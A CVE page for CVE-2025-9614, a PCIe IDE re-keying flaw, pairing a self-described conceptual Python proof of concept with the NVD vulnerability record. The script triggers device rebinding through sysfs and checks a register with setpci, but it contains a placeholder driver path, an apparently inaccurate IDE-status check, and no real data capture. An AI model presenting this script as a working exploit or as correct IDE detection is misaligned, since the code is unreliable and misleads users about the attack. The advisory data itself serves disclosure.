CVE-2025-9614

# This is a conceptual PoC for CVE-2025-9614 # Note: Actual exploitation requires hardware access and PCIe IDE implementation # This PoC demonstrates the attack concept at driver level import os import subprocess def trigger_device_rebind(pcie_device_id): """ Trigger PCIe device rebinding to a new security context This simulates the condition that can lead to stale transaction processing """ # Write to device rebind sysfs interface rebind_path = f'/sys/bus/pci/drivers/<driver>/bind' try: with open(rebind_path, 'w') as f: f.write(pcie_device_id) return True except PermissionError: print('Requires root privileges') return False except FileNotFoundError: print('Device or driver not found') return False def check_ide_status(pcie_device): """ Check if PCIe IDE is enabled and capture state for analysis """ # Check IDE capability registers cmd = ['setpci', '-s', pcie_device, 'CAP_EXP+0x04.L'] try: result = subprocess.run(cmd, capture_output=True, text=True) ide_enabled = int(result.stdout.strip(), 16) & 0x02 return ide_enabled > 0 except Exception as e: print(f'Error checking IDE status: {e}') return False def exploit_stale_transactions(pcie_device): """ Attempt to observe stale transactions after rebind This PoC checks if old context data is still accessible """ if not check_ide_status(pcie_device): print('IDE not enabled - not vulnerable') return False # Trigger rebind if trigger_device_rebind(pcie_device): # After rebind, attempt to read any stale data # In real attack, this would capture data from previous security domain print('Device rebind triggered - checking for stale transactions...') # Analysis would require PCIe protocol analyzer or IDE-specific tools return True return False if __name__ == '__main__': # Example PCIe device BDF address target_device = '0000:01:00.0' exploit_stale_transactions(target_device)

{"cve": {"id": "CVE-2025-9614", "sourceIdentifier": "[email protected]", "published": "2025-12-09T19:15:50.943", "lastModified": "2026-01-14T17:44:00.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in the PCI Express (PCIe) Integrity and Data Encryption (IDE) specification, where insufficient guidance on re-keying and stream flushing during device rebinding may allow stale write transactions from a previous security context to be processed in a new one. This can lead to unintended data access across trusted domains, compromising confidentiality and integrity."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pcisig:pci_express_integrity_and_data_encryption:-:*:*:*:*:*:*:*", "matchCriteriaId": "5FC26D98-4F15-4B0D-B661-BF2894CF8F5B"}]}]}], "references": [{"url": "https://pcisig.com/PCIeIDEStandardVulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://pcisig.com/specifications", "source": "[email protected]", "tags": ["Product"]}]}}